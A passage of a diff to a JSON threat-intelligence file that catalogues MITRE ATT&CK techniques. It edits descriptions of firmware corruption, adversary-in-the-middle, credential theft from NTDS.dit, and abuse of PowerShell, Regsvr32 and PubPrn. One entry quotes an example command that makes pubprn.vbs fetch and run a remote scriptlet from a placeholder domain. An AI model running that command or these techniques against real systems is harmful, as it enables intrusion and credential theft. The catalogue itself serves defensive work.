denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485).", + "description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.", "meta": { "external_id": "T1495", "kill_chain": [ @@ -25954,20 +23027,19 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", "https://attack.mitre.org/techniques/T1495", - "https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99" + "https://www.symantec.com/security-center/writeup/2000-122010-2655-99" ] }, "uuid": "f5bb433e-bdf6-4781-84bc-35e97e43be89", "value": "Firmware Corruption - T1495" }, { - "description": "Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems, which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)\n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR)", + "description": "Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)", "meta": { "external_id": "T1496", "kill_chain": [ @@ -25994,8 +23066,7 @@ "https://securelist.com/lazarus-under-the-hood/77908/", "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html", - "https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html", - "https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/" + "https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html" ] }, "uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783", @@ -26033,7 +23104,7 @@ "value": "Service Stop - T1489" }, { - "description": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "description": "Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1565", "kill_chain": [ @@ -26078,7 +23149,7 @@ ] }, "uuid": "52eff1c7-dd30-4121-b762-24ae6fa61bbb", - "value": "Native API - T1575" + "value": "Native Code - T1575" }, { "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)", @@ -26193,8 +23264,7 @@ ], "mitre_platforms": [ "Windows", - "macOS", - "Linux" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1569" @@ -26261,30 +23331,7 @@ "value": "Obtain Capabilities - T1588" }, { - "description": "Adversaries may attempt to position themselves between two or more networked devices to support follow-on behaviors such as [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642). \n\n \n\n[Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1638) can be achieved through several mechanisms, such as a malicious application registering itself as a VPN client. By doing this, the adversary can effectively redirect device traffic to wherever they want. However, registering as a VPN client requires user consent on both Android and iOS. Additionally, on iOS, the application requires a special entitlement that must be granted by Apple. Alternatively, if an application is able to escalate privileges, it can potentially utilize those privileges to gain access to network traffic. \n\n \n\nOutside of a mobile device, adversaries may be able to capture traffic by employing a rogue base station or Wi-Fi access point. These devices will allow adversaries to capture network traffic after it has left the device, while it is flowing to its destination. On a local network, enterprise techniques could be used, such as DNS redirection or DNS poisoning. \n\n \n\nIf applications properly encrypt their network traffic, sensitive data may not be accessible an adversary, depending on the point of capture. ", - "meta": { - "external_id": "ECO-12", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1638", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-8.html", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-12.html" - ] - }, - "uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "value": "Adversary-in-the-Middle - T1638" - }, - { - "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", + "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nAdversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.", "meta": { "external_id": "CAPEC-94", "kill_chain": [ @@ -26292,7 +23339,6 @@ "mitre-attack:collection" ], "mitre_data_sources": [ - "Application Log: Application Log Content", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "Service: Service Creation", @@ -26304,15 +23350,9 @@ "Linux" ], "refs": [ - "https://arxiv.org/abs/1809.05681", "https://attack.mitre.org/techniques/T1557", - "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/", "https://capec.mitre.org/data/definitions/94.html", - "https://securelist.com/ad-blocker-with-miner-included/101105/", - "https://tlseminar.github.io/downgrade-attacks/", - "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/", - "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats" + "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/" ] }, "uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", @@ -26355,7 +23395,7 @@ "value": "Add-ins - T1137.006" }, { - "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", + "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", "meta": { "external_id": "T1218.009", "kill_chain": [ @@ -26415,7 +23455,7 @@ "value": "Steganography - T1001.002" }, { - "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n", + "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n", "meta": { "external_id": "T1003.003", "kill_chain": [ @@ -26585,29 +23625,6 @@ "uuid": "01327cde-66c4-4123-bf34-5f258d59457b", "value": "VNC - T1021.005" }, - { - "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.", - "meta": { - "external_id": "T1406.001", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1406/001" - ] - }, - "related": [ - { - "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", - "type": "subtechnique-of" - } - ], - "uuid": "fa801609-ca8e-415e-815e-65f3826ff4df", - "value": "Steganography - T1406.001" - }, { "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ", "meta": { @@ -26676,7 +23693,7 @@ "value": "Keylogging - T1056.001" }, { - "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", + "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", "meta": { "external_id": "T1059.001", "kill_chain": [ @@ -26686,7 +23703,6 @@ "Command: Command Execution", "Module: Module Load", "Process: Process Creation", - "Process: Process Metadata", "Script: Script Execution" ], "mitre_platforms": [ @@ -26698,7 +23714,6 @@ "https://attack.mitre.org/techniques/T1059/001", "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/", "https://github.com/jaredhaight/PSAttack", - "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/", "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/", "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" @@ -26713,47 +23728,6 @@ "uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "value": "PowerShell - T1059.001" }, - { - "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)", - "meta": { - "external_id": "T1053.002", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Command: Command Execution", - "File: File Modification", - "Process: Process Creation", - "Scheduled Job: Scheduled Job Creation" - ], - "mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1053/002", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", - "https://gtfobins.github.io/gtfobins/at/", - "https://man7.org/linux/man-pages/man1/at.1p.html", - "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://technet.microsoft.com/library/dd315590.aspx", - "https://twitter.com/leoloobeek/status/939248813465853953", - "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/" - ] - }, - "related": [ - { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "type": "subtechnique-of" - } - ], - "uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", - "value": "At - T1053.002" - }, { "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used Invoke-PSImage to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ", "meta": { @@ -26786,7 +23760,7 @@ "value": "Steganography - T1027.003" }, { - "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)", + "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)", "meta": { "external_id": "T1059.002", "kill_chain": [ @@ -26843,7 +23817,7 @@ "value": "DNS - T1590.002" }, { - "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ", + "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. ", "meta": { "external_id": "T1053.003", "kill_chain": [ @@ -26884,6 +23858,12 @@ "mitre-attack:persistence", "mitre-attack:privilege-escalation" ], + "mitre_data_sources": [ + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation", + "Scheduled Job: Scheduled Job Creation" + ], "mitre_platforms": [ "macOS" ], @@ -26972,7 +23952,7 @@ "value": "JavaScript - T1059.007" }, { - "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)", + "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)", "meta": { "external_id": "T1218.010", "kill_chain": [ @@ -27033,7 +24013,7 @@ "value": "Confluence - T1213.001" }, { - "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).", + "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).", "meta": { "external_id": "T1216.001", "kill_chain": [ @@ -27092,33 +24072,6 @@ "uuid": "c92e3d68-2349-49e4-a341-7edca2deff96", "value": "MSBuild - T1127.001" }, - { - "description": "Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them.\n\nSome methods of keylogging include:\n\n* Masquerading as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android 